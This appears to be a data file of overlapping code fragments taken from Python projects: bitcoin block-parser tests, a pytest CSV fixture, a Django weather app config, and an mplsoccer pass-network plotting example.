"block.header.bits) merkle_root = \"4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127\" \\ \"b7afdeda33b\" self.assertEqual(merkle_root, block.header.merkle_root) self.assertEqual(2083236893, block.header.nonce)",
"tx.hash) self.assertEqual(204, tx.size) self.assertEqual(0, tx.locktime) self.assertEqual(0xffffffff, tx.inputs[0].transaction_index) self.assertEqual(0xffffffff, tx.inputs[0].sequence_number) self.assertTrue(\"ffff001d\"",
"of bitcoin-blockchain-parser, including this file, may be copied, # modified,",
"self.assertEqual(0xffffffff, tx.inputs[0].sequence_number) self.assertTrue(\"ffff001d\" in tx.inputs[0].script.value) self.assertEqual(\"0\" * 64, tx.inputs[0].transaction_hash) self.assertEqual(50",
"tx.inputs[0].transaction_index) self.assertEqual(0xffffffff, tx.inputs[0].sequence_number) self.assertTrue(\"ffff001d\" in tx.inputs[0].script.value) self.assertEqual(\"0\" * 64, tx.inputs[0].transaction_hash)",
"tx.version) tx_hash = \"4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127\" \\ \"b7afdeda33b\" self.assertEqual(tx_hash, tx.hash) self.assertEqual(204, tx.size)",
"in block.transactions: self.assertEqual(1, tx.version) tx_hash = \"4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127\" \\ \"b7afdeda33b\" self.assertEqual(tx_hash,",
"self.assertEqual(2083236893, block.header.nonce) self.assertEqual(1, block.header.version) self.assertEqual(1, block.header.difficulty) self.assertEqual(285, block.size) self.assertEqual(datetime.utcfromtimestamp(1231006505), block.header.timestamp)"
] |
[
"''' DNA++ (c) DNA++ 2017 All rights reserved. @author: neilswainston",
"DNA++ (c) DNA++ 2017 All rights reserved. @author: neilswainston '''"
] |
[
"in tests against data that are pulled from Azure PostgreSQL",
"a dictionary with CSV files which in dataset folder. The",
"summary for sample_local_data Returns: [Dict]: This function returns a dictionary",
"sample_data = {} for file in config.app_config.csv_files: sample_data[file[0:-4]] = pd.read_csv(os.path.join(DATASET_DIR,",
"os import pandas as pd import pytest from user_similarity_model.config.core import",
"This function returns a dictionary with CSV files which in",
"dictionary with CSV files which in dataset folder. The data",
"DATASET_DIR, config @pytest.fixture() def sample_local_data(): \"\"\"AI is creating summary for",
"config @pytest.fixture() def sample_local_data(): \"\"\"AI is creating summary for sample_local_data",
"pytest from user_similarity_model.config.core import DATASET_DIR, config @pytest.fixture() def sample_local_data(): \"\"\"AI",
"creating summary for sample_local_data Returns: [Dict]: This function returns a",
"import pytest from user_similarity_model.config.core import DATASET_DIR, config @pytest.fixture() def sample_local_data():",
"sample_local_data(): \"\"\"AI is creating summary for sample_local_data Returns: [Dict]: This",
"pandas as pd import pytest from user_similarity_model.config.core import DATASET_DIR, config",
"\"\"\" sample_data = {} for file in config.app_config.csv_files: sample_data[file[0:-4]] =",
"with CSV files which in dataset folder. The data will",
"tests against data that are pulled from Azure PostgreSQL server.",
"import os import pandas as pd import pytest from user_similarity_model.config.core",
"which in dataset folder. The data will be compared in",
"@pytest.fixture() def sample_local_data(): \"\"\"AI is creating summary for sample_local_data Returns:",
"in dataset folder. The data will be compared in tests",
"data that are pulled from Azure PostgreSQL server. \"\"\" sample_data",
"PostgreSQL server. \"\"\" sample_data = {} for file in config.app_config.csv_files:",
"are pulled from Azure PostgreSQL server. \"\"\" sample_data = {}",
"user_similarity_model.config.core import DATASET_DIR, config @pytest.fixture() def sample_local_data(): \"\"\"AI is creating",
"be compared in tests against data that are pulled from",
"against data that are pulled from Azure PostgreSQL server. \"\"\"",
"server. \"\"\" sample_data = {} for file in config.app_config.csv_files: sample_data[file[0:-4]]",
"data will be compared in tests against data that are",
"def sample_local_data(): \"\"\"AI is creating summary for sample_local_data Returns: [Dict]:",
"dataset folder. The data will be compared in tests against",
"that are pulled from Azure PostgreSQL server. \"\"\" sample_data =",
"pulled from Azure PostgreSQL server. \"\"\" sample_data = {} for",
"files which in dataset folder. The data will be compared",
"compared in tests against data that are pulled from Azure",
"as pd import pytest from user_similarity_model.config.core import DATASET_DIR, config @pytest.fixture()",
"import DATASET_DIR, config @pytest.fixture() def sample_local_data(): \"\"\"AI is creating summary",
"returns a dictionary with CSV files which in dataset folder.",
"function returns a dictionary with CSV files which in dataset",
"from Azure PostgreSQL server. \"\"\" sample_data = {} for file",
"The data will be compared in tests against data that",
"import pandas as pd import pytest from user_similarity_model.config.core import DATASET_DIR,",
"sample_local_data Returns: [Dict]: This function returns a dictionary with CSV",
"[Dict]: This function returns a dictionary with CSV files which",
"= {} for file in config.app_config.csv_files: sample_data[file[0:-4]] = pd.read_csv(os.path.join(DATASET_DIR, file))",
"Azure PostgreSQL server. \"\"\" sample_data = {} for file in",
"for sample_local_data Returns: [Dict]: This function returns a dictionary with",
"folder. The data will be compared in tests against data",
"\"\"\"AI is creating summary for sample_local_data Returns: [Dict]: This function",
"{} for file in config.app_config.csv_files: sample_data[file[0:-4]] = pd.read_csv(os.path.join(DATASET_DIR, file)) return",
"for file in config.app_config.csv_files: sample_data[file[0:-4]] = pd.read_csv(os.path.join(DATASET_DIR, file)) return sample_data",
"from user_similarity_model.config.core import DATASET_DIR, config @pytest.fixture() def sample_local_data(): \"\"\"AI is",
"is creating summary for sample_local_data Returns: [Dict]: This function returns",
"pd import pytest from user_similarity_model.config.core import DATASET_DIR, config @pytest.fixture() def",
"CSV files which in dataset folder. The data will be",
"will be compared in tests against data that are pulled",
"Returns: [Dict]: This function returns a dictionary with CSV files"
] |
[
"class WeatherConfig(AppConfig): name = 'weather' def ready(self): from forecastUpdater import",
"AppConfig import logging logger = logging.getLogger(__name__) class WeatherConfig(AppConfig): name =",
"name = 'weather' def ready(self): from forecastUpdater import updater updater.start()",
"= logging.getLogger(__name__) class WeatherConfig(AppConfig): name = 'weather' def ready(self): from",
"logging.getLogger(__name__) class WeatherConfig(AppConfig): name = 'weather' def ready(self): from forecastUpdater",
"logging logger = logging.getLogger(__name__) class WeatherConfig(AppConfig): name = 'weather' def",
"import AppConfig import logging logger = logging.getLogger(__name__) class WeatherConfig(AppConfig): name",
"from django.apps import AppConfig import logging logger = logging.getLogger(__name__) class",
"import logging logger = logging.getLogger(__name__) class WeatherConfig(AppConfig): name = 'weather'",
"WeatherConfig(AppConfig): name = 'weather' def ready(self): from forecastUpdater import updater",
"django.apps import AppConfig import logging logger = logging.getLogger(__name__) class WeatherConfig(AppConfig):",
"logger = logging.getLogger(__name__) class WeatherConfig(AppConfig): name = 'weather' def ready(self):"
] |
[] |
[
"passes_between['width'] = passes_between.pass_count / passes_between.pass_count.max() * max_line_width average_locs_and_count['marker_size'] = (average_locs_and_count['count']",
"'.format(team), passes['tactics_formation'].unique()) ############################################################################## # Filter passes by chosen formation, then",
"14: 'CM', 15: 'LCM', 16: 'LM', 17: 'RW', 18: 'RAM',",
"# Filter passes by chosen formation, then group all passes",
"'RCF', 23: 'ST', 24: 'LCF', 25: 'SS'} players['position_abbreviation'] = players.player_position_id.map(formation_dict)",
"2: 'RB', 3: 'RCB', 4: 'CB', 5: 'LCB', 6: 'LB',",
"passes_between.y_end, lw=passes_between.width, color=color, zorder=1, ax=ax) pass_nodes = pitch.scatter(average_locs_and_count.x, average_locs_and_count.y, s=average_locs_and_count.marker_size,",
"the players dataframe formation_dict = {1: 'GK', 2: 'RB', 3:",
"= pitch.scatter(average_locs_and_count.x, average_locs_and_count.y, s=average_locs_and_count.marker_size, color='red', edgecolors='black', linewidth=1, alpha=1, ax=ax) for",
"positions of the lines passes_between = passes_between.merge(average_locs_and_count, left_on='pos_min', right_index=True) passes_between",
"players['position_abbreviation'] = players.player_position_id.map(formation_dict) ############################################################################## # Add on the subsitutions to",
"rename columns to match those in passer_passes recipient_passes.rename({'position_abbreviation_receipt': 'position_abbreviation', 'end_x':",
"all passes and receipts to # calculate avg x, avg",
"ha='center', size=16, weight='bold', ax=ax) title = ax.set_title(\"{} {} Formation vs",
"== team) & (events.type_name == 'Pass') to_keep = ['id', 'match_id',",
"the passes by unique pairings of players and add the",
"calculate the number of passes between each position (using min/",
"passes and receipts to # calculate avg x, avg y,",
"433 passes_formation = passes[(passes.tactics_formation == formation) & (passes.position_abbreviation_receipt.notnull())].copy() passer_passes =",
"# Add on the subsitutions to the players dataframe, i.e.",
"* max_marker_size) ############################################################################## # Set color to make the lines",
"the number of passes between each position (using min/ max",
"to_keep].copy() print('Formations used by {} in match: '.format(team), passes['tactics_formation'].unique()) ##############################################################################",
"we have the start and end positions of the lines",
"of the lines passes_between = passes_between.merge(average_locs_and_count, left_on='pos_min', right_index=True) passes_between =",
"figsize=(16, 11), constrained_layout=True, tight_layout=False) fig, ax = pitch.draw() pass_lines =",
"used by {} in match: '.format(team), passes['tactics_formation'].unique()) ############################################################################## # Filter",
"& (passes.position_abbreviation_receipt.notnull())].copy() passer_passes = passes_formation[['position_abbreviation', 'x', 'y']].copy() recipient_passes = passes_formation[['position_abbreviation_receipt',",
"index, row in average_locs_and_count.iterrows(): pitch.annotate(row.name, xy=(row.x, row.y), c='white', va='center', ha='center',",
"'LWB', 9: 'RDM', 10: 'CDM', 11: 'LDM', 12: 'RM', 13:",
"sub = events.loc[events.type_name == 'Substitution', ['tactics_id', 'player_id', 'substitution_replacement_id', 'substitution_replacement_name']] players_sub",
"set formation. \"\"\" import pandas as pd from mplsoccer.pitch import",
"passes by chosen formation, then group all passes and receipts",
"############################################################################## # Set color to make the lines more transparent",
"Group the passes by unique pairings of players and add",
"import read_event, EVENT_SLUG ############################################################################## # Set team and match info,",
"passes mask_pass = (events.team_name == team) & (events.type_name == 'Pass')",
"'CB', 5: 'LCB', 6: 'LB', 7: 'RWB', 8: 'LWB', 9:",
"3: 'RCB', 4: 'CB', 5: 'LCB', 6: 'LB', 7: 'RWB',",
"############################################################################## # Add player position information to the events dataframe",
"right_index=True) passes_between = passes_between.merge(average_locs_and_count, left_on='pos_max', right_index=True, suffixes=['', '_end']) ############################################################################## #",
"players = players[['tactics_id', 'player_id', 'position_abbreviation']] ############################################################################## # Add player position",
"'position_abbreviation_receipt'] passes = events.loc[mask_pass, to_keep].copy() print('Formations used by {} in",
"to the events dataframe # add on the position the",
"individual passes and receipts from passes_formation appended_passes = pd.concat(objs=[passer_passes, recipient_passes],",
"a new dataframe containing all individual passes and receipts from",
"in average_locs_and_count.iterrows(): pitch.annotate(row.name, xy=(row.x, row.y), c='white', va='center', ha='center', size=16, weight='bold',",
"event_dict = read_event(f'{EVENT_SLUG}/{match_id}.json', warn=False) players = event_dict['tactics_lineup'] events = event_dict['event']",
"= passes_between.merge(average_locs_and_count, left_on='pos_max', right_index=True, suffixes=['', '_end']) ############################################################################## # Calculate the",
"players.rename({'id': 'tactics_id'}, axis='columns', inplace=True) players = players[['tactics_id', 'player_id', 'position_abbreviation']] ##############################################################################",
"'_receipt']) ############################################################################## # Create dataframes for passes and player locations",
"relative to the largest counts max_line_width = 18 max_marker_size =",
"slot in the formation formation = 433 passes_formation = passes[(passes.tactics_formation",
"and end positions of the lines passes_between = passes_between.merge(average_locs_and_count, left_on='pos_min',",
"event and tactics dataframes for the defined match_id match_id =",
"between players in a set formation. \"\"\" import pandas as",
"on the subsitutions to the players dataframe, i.e. where players",
"how='inner', validate='1:1') players_sub = (players_sub[['id', 'substitution_replacement_id', 'position_abbreviation']] .rename({'substitution_replacement_id': 'player_id'}, axis='columns'))",
"Pass Network ============ This example shows how to plot passes",
"playing in the formation to the events dataframe events =",
"import Pitch from matplotlib.colors import to_rgba import numpy as np",
"event_dict['event'] ############################################################################## # Adding on the last tactics id and",
"this dataframe # calculate the number of passes between each",
"info, and get event and tactics dataframes for the defined",
"6: 'LB', 7: 'RWB', 8: 'LWB', 9: 'RDM', 10: 'CDM',",
"- min_transparency)) + min_transparency color[:, 3] = c_transparency ############################################################################## #",
"the lines passes_between = passes_between.merge(average_locs_and_count, left_on='pos_min', right_index=True) passes_between = passes_between.merge(average_locs_and_count,",
"team for each event events.loc[events.tactics_formation.notnull(), 'tactics_id'] = events.loc[ events.tactics_formation.notnull(), 'id']",
"'RCB', 4: 'CB', 5: 'LCB', 6: 'LB', 7: 'RWB', 8:",
"* (1 - min_transparency)) + min_transparency color[:, 3] = c_transparency",
"'CDM', 11: 'LDM', 12: 'RM', 13: 'RCM', 14: 'CM', 15:",
"['mean'], 'y': ['mean', 'count']}) average_locs_and_count.columns = ['x', 'y', 'count'] ##############################################################################",
"import numpy as np from mplsoccer.statsbomb import read_event, EVENT_SLUG ##############################################################################",
"= (average_locs_and_count['count'] / average_locs_and_count['count'].max() * max_marker_size) ############################################################################## # Set color",
"'substitution_replacement_id', 'position_abbreviation']] .rename({'substitution_replacement_id': 'player_id'}, axis='columns')) players = pd.concat([players, players_sub]) players.rename({'id':",
"passes_between.rename({'id': 'pass_count'}, axis='columns', inplace=True) # add on the location of",
"8: 'LWB', 9: 'RDM', 10: 'CDM', 11: 'LDM', 12: 'RM',",
"avg y, count of events for each slot in the",
"'y', 'end_x', 'end_y', 'tactics_id', 'tactics_formation', 'position_abbreviation', 'position_abbreviation_receipt'] passes = events.loc[mask_pass,",
"'tactics_id', 'tactics_formation']].ffill() ############################################################################## # Add the abbreviated player position to",
"transparent when fewer passes are made min_transparency = 0.3 color",
"(events.type_name == 'Pass') to_keep = ['id', 'match_id', 'player_id', 'player_name', 'outcome_name',",
"22: 'RCF', 23: 'ST', 24: 'LCF', 25: 'SS'} players['position_abbreviation'] =",
"by {} in match: '.format(team), passes['tactics_formation'].unique()) ############################################################################## # Filter passes",
"and receipts from passes_formation appended_passes = pd.concat(objs=[passer_passes, recipient_passes], ignore_index=True) average_locs_and_count",
"1)) c_transparency = passes_between.pass_count / passes_between.pass_count.max() c_transparency = (c_transparency *",
"on the position the player was playing in the formation",
"c_transparency ############################################################################## # Plotting pitch = Pitch(pitch_type='statsbomb', orientation='horizontal', pitch_color='#22312b', line_color='#c7d5cc',",
"are made min_transparency = 0.3 color = np.array(to_rgba('white')) color =",
"pd.concat([players, players_sub]) players.rename({'id': 'tactics_id'}, axis='columns', inplace=True) players = players[['tactics_id', 'player_id',",
"+ min_transparency color[:, 3] = c_transparency ############################################################################## # Plotting pitch",
"# get a dataframe with all passes mask_pass = (events.team_name",
"= c_transparency ############################################################################## # Plotting pitch = Pitch(pitch_type='statsbomb', orientation='horizontal', pitch_color='#22312b',",
"= pitch.lines(passes_between.x, passes_between.y, passes_between.x_end, passes_between.y_end, lw=passes_between.width, color=color, zorder=1, ax=ax) pass_nodes",
"the receipient was playing in the formation to the events",
"read_event, EVENT_SLUG ############################################################################## # Set team and match info, and",
"'pass_recipient_name', 'x', 'y', 'end_x', 'end_y', 'tactics_id', 'tactics_formation', 'position_abbreviation', 'position_abbreviation_receipt'] passes",
"= 0.3 color = np.array(to_rgba('white')) color = np.tile(color, (len(passes_between), 1))",
"constrained_layout=True, tight_layout=False) fig, ax = pitch.draw() pass_lines = pitch.lines(passes_between.x, passes_between.y,",
"'position_abbreviation_receipt']].min(axis='columns') passes_between = passes_formation.groupby(['pos_min', 'pos_max']).id.count().reset_index() passes_between.rename({'id': 'pass_count'}, axis='columns', inplace=True) #",
"events = events.merge(players.rename({'player_id': 'pass_recipient_id'}, axis='columns'), on=['tactics_id', 'pass_recipient_id'], how='left', validate='m:1', suffixes=['',",
"the position the player was playing in the formation to",
"players are subbed on # but the formation doesn't change",
"pd.concat(objs=[passer_passes, recipient_passes], ignore_index=True) average_locs_and_count = appended_passes.groupby('position_abbreviation').agg({ 'x': ['mean'], 'y': ['mean',",
"passes between players in a set formation. \"\"\" import pandas",
"dataframe containing all individual passes and receipts from passes_formation appended_passes",
"alpha=1, ax=ax) for index, row in average_locs_and_count.iterrows(): pitch.annotate(row.name, xy=(row.x, row.y),",
"['x', 'y', 'count'] ############################################################################## # Group the passes by unique",
"end positions of the lines passes_between = passes_between.merge(average_locs_and_count, left_on='pos_min', right_index=True)",
"Calculate the line width and marker sizes relative to the",
"mask_pass = (events.team_name == team) & (events.type_name == 'Pass') to_keep",
"example shows how to plot passes between players in a",
"'y': ['mean', 'count']}) average_locs_and_count.columns = ['x', 'y', 'count'] ############################################################################## #",
"the formation to the events dataframe events = events.merge(players.rename({'player_id': 'pass_recipient_id'},",
"the location of each player so we have the start",
"orientation='horizontal', pitch_color='#22312b', line_color='#c7d5cc', figsize=(16, 11), constrained_layout=True, tight_layout=False) fig, ax =",
"formation) & (passes.position_abbreviation_receipt.notnull())].copy() passer_passes = passes_formation[['position_abbreviation', 'x', 'y']].copy() recipient_passes =",
"min_transparency = 0.3 color = np.array(to_rgba('white')) color = np.tile(color, (len(passes_between),",
"'end_y']].copy() # rename columns to match those in passer_passes recipient_passes.rename({'position_abbreviation_receipt':",
"/ passes_between.pass_count.max() c_transparency = (c_transparency * (1 - min_transparency)) +",
"# Calculate the line width and marker sizes relative to",
"events.merge(players.rename({'player_id': 'pass_recipient_id'}, axis='columns'), on=['tactics_id', 'pass_recipient_id'], how='left', validate='m:1', suffixes=['', '_receipt']) ##############################################################################",
"dataframe events = events.merge(players.rename({'player_id': 'pass_recipient_id'}, axis='columns'), on=['tactics_id', 'pass_recipient_id'], how='left', validate='m:1',",
"formation formation = 433 passes_formation = passes[(passes.tactics_formation == formation) &",
"13: 'RCM', 14: 'CM', 15: 'LCM', 16: 'LM', 17: 'RW',",
"players[['tactics_id', 'player_id', 'position_abbreviation']] ############################################################################## # Add player position information to",
"for each event events.loc[events.tactics_formation.notnull(), 'tactics_id'] = events.loc[ events.tactics_formation.notnull(), 'id'] events[['tactics_id',",
"Pitch(pitch_type='statsbomb', orientation='horizontal', pitch_color='#22312b', line_color='#c7d5cc', figsize=(16, 11), constrained_layout=True, tight_layout=False) fig, ax",
"color = np.array(to_rgba('white')) color = np.tile(color, (len(passes_between), 1)) c_transparency =",
"passes and player locations # get a dataframe with all",
"x, avg y, count of events for each slot in",
"(using min/ max so we get passes both ways) passes_formation['pos_max']",
"passes_between.pass_count / passes_between.pass_count.max() * max_line_width average_locs_and_count['marker_size'] = (average_locs_and_count['count'] / average_locs_and_count['count'].max()",
"players.merge(sub.rename({'tactics_id': 'id'}, axis='columns'), on=['id', 'player_id'], how='inner', validate='1:1') players_sub = (players_sub[['id',",
"line width and marker sizes relative to the largest counts",
"'y'}, axis='columns', inplace=True) # create a new dataframe containing all",
"ax=ax) pass_nodes = pitch.scatter(average_locs_and_count.x, average_locs_and_count.y, s=average_locs_and_count.marker_size, color='red', edgecolors='black', linewidth=1, alpha=1,",
"'tactics_id'] = events.loc[ events.tactics_formation.notnull(), 'id'] events[['tactics_id', 'tactics_formation']] = events.groupby('team_name')[[ 'tactics_id',",
"to match those in passer_passes recipient_passes.rename({'position_abbreviation_receipt': 'position_abbreviation', 'end_x': 'x', 'end_y':",
"appended_passes.groupby('position_abbreviation').agg({ 'x': ['mean'], 'y': ['mean', 'count']}) average_locs_and_count.columns = ['x', 'y',",
"'RWB', 8: 'LWB', 9: 'RDM', 10: 'CDM', 11: 'LDM', 12:",
"for index, row in average_locs_and_count.iterrows(): pitch.annotate(row.name, xy=(row.x, row.y), c='white', va='center',",
"& (events.type_name == 'Pass') to_keep = ['id', 'match_id', 'player_id', 'player_name',",
"'LCM', 16: 'LM', 17: 'RW', 18: 'RAM', 19: 'CAM', 20:",
"'end_x', 'end_y']].copy() # rename columns to match those in passer_passes",
"<reponame>DymondFormation/mplsoccer<filename>examples/plots/plot_pass_network.py \"\"\" ============ Pass Network ============ This example shows how",
"import pandas as pd from mplsoccer.pitch import Pitch from matplotlib.colors",
"= events.loc[events.type_name == 'Substitution', ['tactics_id', 'player_id', 'substitution_replacement_id', 'substitution_replacement_name']] players_sub =",
"unique pairings of players and add the avg player positions",
"# Set team and match info, and get event and",
"color[:, 3] = c_transparency ############################################################################## # Plotting pitch = Pitch(pitch_type='statsbomb',",
"sizes relative to the largest counts max_line_width = 18 max_marker_size",
"'end_x': 'x', 'end_y': 'y'}, axis='columns', inplace=True) # create a new",
"events.merge(players, on=['tactics_id', 'player_id'], how='left', validate='m:1') # add on the position",
"'pos_max']).id.count().reset_index() passes_between.rename({'id': 'pass_count'}, axis='columns', inplace=True) # add on the location",
"the largest counts max_line_width = 18 max_marker_size = 3000 passes_between['width']",
"= 'Alavés (A), 2018/19 La Liga' event_dict = read_event(f'{EVENT_SLUG}/{match_id}.json', warn=False)",
"calculate avg x, avg y, count of events for each",
"pitch.lines(passes_between.x, passes_between.y, passes_between.x_end, passes_between.y_end, lw=passes_between.width, color=color, zorder=1, ax=ax) pass_nodes =",
"color=color, zorder=1, ax=ax) pass_nodes = pitch.scatter(average_locs_and_count.x, average_locs_and_count.y, s=average_locs_and_count.marker_size, color='red', edgecolors='black',",
"\"\"\" ============ Pass Network ============ This example shows how to",
"= np.tile(color, (len(passes_between), 1)) c_transparency = passes_between.pass_count / passes_between.pass_count.max() c_transparency",
"# Adding on the last tactics id and formation for",
"passes are made min_transparency = 0.3 color = np.array(to_rgba('white')) color",
"np.tile(color, (len(passes_between), 1)) c_transparency = passes_between.pass_count / passes_between.pass_count.max() c_transparency =",
"doesn't change sub = events.loc[events.type_name == 'Substitution', ['tactics_id', 'player_id', 'substitution_replacement_id',",
"'end_x', 'end_y', 'tactics_id', 'tactics_formation', 'position_abbreviation', 'position_abbreviation_receipt'] passes = events.loc[mask_pass, to_keep].copy()",
"'end_y', 'tactics_id', 'tactics_formation', 'position_abbreviation', 'position_abbreviation_receipt'] passes = events.loc[mask_pass, to_keep].copy() print('Formations",
"= np.array(to_rgba('white')) color = np.tile(color, (len(passes_between), 1)) c_transparency = passes_between.pass_count",
"of players and add the avg player positions to this",
"0.3 color = np.array(to_rgba('white')) color = np.tile(color, (len(passes_between), 1)) c_transparency",
"EVENT_SLUG ############################################################################## # Set team and match info, and get",
"information to the events dataframe # add on the position",
"= events.merge(players, on=['tactics_id', 'player_id'], how='left', validate='m:1') # add on the",
"each position (using min/ max so we get passes both",
"15: 'LCM', 16: 'LM', 17: 'RW', 18: 'RAM', 19: 'CAM',",
"and add the avg player positions to this dataframe #",
"between each position (using min/ max so we get passes",
"mplsoccer.statsbomb import read_event, EVENT_SLUG ############################################################################## # Set team and match",
"passes_formation.groupby(['pos_min', 'pos_max']).id.count().reset_index() passes_between.rename({'id': 'pass_count'}, axis='columns', inplace=True) # add on the",
"counts max_line_width = 18 max_marker_size = 3000 passes_between['width'] = passes_between.pass_count",
"for each slot in the formation formation = 433 passes_formation",
"width and marker sizes relative to the largest counts max_line_width",
"axis='columns', inplace=True) # create a new dataframe containing all individual",
"to_rgba import numpy as np from mplsoccer.statsbomb import read_event, EVENT_SLUG",
"the player was playing in the formation to the events",
"in the formation to the events dataframe events = events.merge(players,",
"for the team for each event events.loc[events.tactics_formation.notnull(), 'tactics_id'] = events.loc[",
"columns to match those in passer_passes recipient_passes.rename({'position_abbreviation_receipt': 'position_abbreviation', 'end_x': 'x',",
"passes_between.pass_count.max() * max_line_width average_locs_and_count['marker_size'] = (average_locs_and_count['count'] / average_locs_and_count['count'].max() * max_marker_size)",
"/ average_locs_and_count['count'].max() * max_marker_size) ############################################################################## # Set color to make",
"passes_between.y, passes_between.x_end, passes_between.y_end, lw=passes_between.width, color=color, zorder=1, ax=ax) pass_nodes = pitch.scatter(average_locs_and_count.x,",
"players in a set formation. \"\"\" import pandas as pd",
"pandas as pd from mplsoccer.pitch import Pitch from matplotlib.colors import",
"those in passer_passes recipient_passes.rename({'position_abbreviation_receipt': 'position_abbreviation', 'end_x': 'x', 'end_y': 'y'}, axis='columns',",
"max_marker_size = 3000 passes_between['width'] = passes_between.pass_count / passes_between.pass_count.max() * max_line_width",
"each player so we have the start and end positions",
"team = 'Barcelona' opponent = 'Alavés (A), 2018/19 La Liga'",
"Adding on the last tactics id and formation for the",
"match info, and get event and tactics dataframes for the",
"== formation) & (passes.position_abbreviation_receipt.notnull())].copy() passer_passes = passes_formation[['position_abbreviation', 'x', 'y']].copy() recipient_passes",
"c='white', va='center', ha='center', size=16, weight='bold', ax=ax) title = ax.set_title(\"{} {}",
"This example shows how to plot passes between players in",
"so we get passes both ways) passes_formation['pos_max'] = passes_formation[['position_abbreviation', 'position_abbreviation_receipt']].max(axis='columns')",
"y, count of events for each slot in the formation",
"= passes_between.merge(average_locs_and_count, left_on='pos_min', right_index=True) passes_between = passes_between.merge(average_locs_and_count, left_on='pos_max', right_index=True, suffixes=['',",
"############################################################################## # Adding on the last tactics id and formation",
"of events for each slot in the formation formation =",
"passes_between = passes_between.merge(average_locs_and_count, left_on='pos_min', right_index=True) passes_between = passes_between.merge(average_locs_and_count, left_on='pos_max', right_index=True,",
"how='left', validate='m:1') # add on the position the receipient was",
"recipient_passes], ignore_index=True) average_locs_and_count = appended_passes.groupby('position_abbreviation').agg({ 'x': ['mean'], 'y': ['mean', 'count']})",
"(events.team_name == team) & (events.type_name == 'Pass') to_keep = ['id',",
"events.tactics_formation.notnull(), 'id'] events[['tactics_id', 'tactics_formation']] = events.groupby('team_name')[[ 'tactics_id', 'tactics_formation']].ffill() ############################################################################## #",
"############################################################################## # Add the abbreviated player position to the players",
"the events dataframe events = events.merge(players, on=['tactics_id', 'player_id'], how='left', validate='m:1')",
"passes_formation[['position_abbreviation', 'position_abbreviation_receipt']].max(axis='columns') passes_formation['pos_min'] = passes_formation[['position_abbreviation', 'position_abbreviation_receipt']].min(axis='columns') passes_between = passes_formation.groupby(['pos_min', 'pos_max']).id.count().reset_index()",
"position to the players dataframe formation_dict = {1: 'GK', 2:",
"passes_between.merge(average_locs_and_count, left_on='pos_min', right_index=True) passes_between = passes_between.merge(average_locs_and_count, left_on='pos_max', right_index=True, suffixes=['', '_end'])",
"receipient was playing in the formation to the events dataframe",
"and formation for the team for each event events.loc[events.tactics_formation.notnull(), 'tactics_id']",
"positions to this dataframe # calculate the number of passes",
"'LM', 17: 'RW', 18: 'RAM', 19: 'CAM', 20: 'LAM', 21:",
"to make the lines more transparent when fewer passes are",
"how='left', validate='m:1', suffixes=['', '_receipt']) ############################################################################## # Create dataframes for passes",
"= passes_formation[['position_abbreviation', 'position_abbreviation_receipt']].min(axis='columns') passes_between = passes_formation.groupby(['pos_min', 'pos_max']).id.count().reset_index() passes_between.rename({'id': 'pass_count'}, axis='columns',",
"axis='columns'), on=['tactics_id', 'pass_recipient_id'], how='left', validate='m:1', suffixes=['', '_receipt']) ############################################################################## # Create",
"the position the receipient was playing in the formation to",
"= players[['tactics_id', 'player_id', 'position_abbreviation']] ############################################################################## # Add player position information",
"edgecolors='black', linewidth=1, alpha=1, ax=ax) for index, row in average_locs_and_count.iterrows(): pitch.annotate(row.name,",
"formation to the events dataframe events = events.merge(players.rename({'player_id': 'pass_recipient_id'}, axis='columns'),",
"min_transparency)) + min_transparency color[:, 3] = c_transparency ############################################################################## # Plotting",
"where players are subbed on # but the formation doesn't",
"'CAM', 20: 'LAM', 21: 'LW', 22: 'RCF', 23: 'ST', 24:",
"average_locs_and_count.y, s=average_locs_and_count.marker_size, color='red', edgecolors='black', linewidth=1, alpha=1, ax=ax) for index, row",
"# calculate the number of passes between each position (using",
"= passes_between.pass_count / passes_between.pass_count.max() c_transparency = (c_transparency * (1 -",
"dataframe # add on the position the player was playing",
"axis='columns', inplace=True) players = players[['tactics_id', 'player_id', 'position_abbreviation']] ############################################################################## # Add",
"'x', 'y', 'end_x', 'end_y', 'tactics_id', 'tactics_formation', 'position_abbreviation', 'position_abbreviation_receipt'] passes =",
"passes[(passes.tactics_formation == formation) & (passes.position_abbreviation_receipt.notnull())].copy() passer_passes = passes_formation[['position_abbreviation', 'x', 'y']].copy()",
"23: 'ST', 24: 'LCF', 25: 'SS'} players['position_abbreviation'] = players.player_position_id.map(formation_dict) ##############################################################################",
"18: 'RAM', 19: 'CAM', 20: 'LAM', 21: 'LW', 22: 'RCF',",
"ax=ax) title = ax.set_title(\"{} {} Formation vs {}\".format(team, formation, opponent),",
"add the avg player positions to this dataframe # calculate",
"event events.loc[events.tactics_formation.notnull(), 'tactics_id'] = events.loc[ events.tactics_formation.notnull(), 'id'] events[['tactics_id', 'tactics_formation']] =",
"more transparent when fewer passes are made min_transparency = 0.3",
"from mplsoccer.pitch import Pitch from matplotlib.colors import to_rgba import numpy",
"all passes mask_pass = (events.team_name == team) & (events.type_name ==",
"'Substitution', ['tactics_id', 'player_id', 'substitution_replacement_id', 'substitution_replacement_name']] players_sub = players.merge(sub.rename({'tactics_id': 'id'}, axis='columns'),",
"'player_id', 'substitution_replacement_id', 'substitution_replacement_name']] players_sub = players.merge(sub.rename({'tactics_id': 'id'}, axis='columns'), on=['id', 'player_id'],",
"'id'] events[['tactics_id', 'tactics_formation']] = events.groupby('team_name')[[ 'tactics_id', 'tactics_formation']].ffill() ############################################################################## # Add",
"= players.player_position_id.map(formation_dict) ############################################################################## # Add on the subsitutions to the",
"inplace=True) players = players[['tactics_id', 'player_id', 'position_abbreviation']] ############################################################################## # Add player",
"np from mplsoccer.statsbomb import read_event, EVENT_SLUG ############################################################################## # Set team",
"get event and tactics dataframes for the defined match_id match_id",
"Filter passes by chosen formation, then group all passes and",
"La Liga' event_dict = read_event(f'{EVENT_SLUG}/{match_id}.json', warn=False) players = event_dict['tactics_lineup'] events",
"'LDM', 12: 'RM', 13: 'RCM', 14: 'CM', 15: 'LCM', 16:",
"3] = c_transparency ############################################################################## # Plotting pitch = Pitch(pitch_type='statsbomb', orientation='horizontal',",
"passes between each position (using min/ max so we get",
"then group all passes and receipts to # calculate avg",
"line_color='#c7d5cc', figsize=(16, 11), constrained_layout=True, tight_layout=False) fig, ax = pitch.draw() pass_lines",
"events = events.merge(players, on=['tactics_id', 'player_id'], how='left', validate='m:1') # add on",
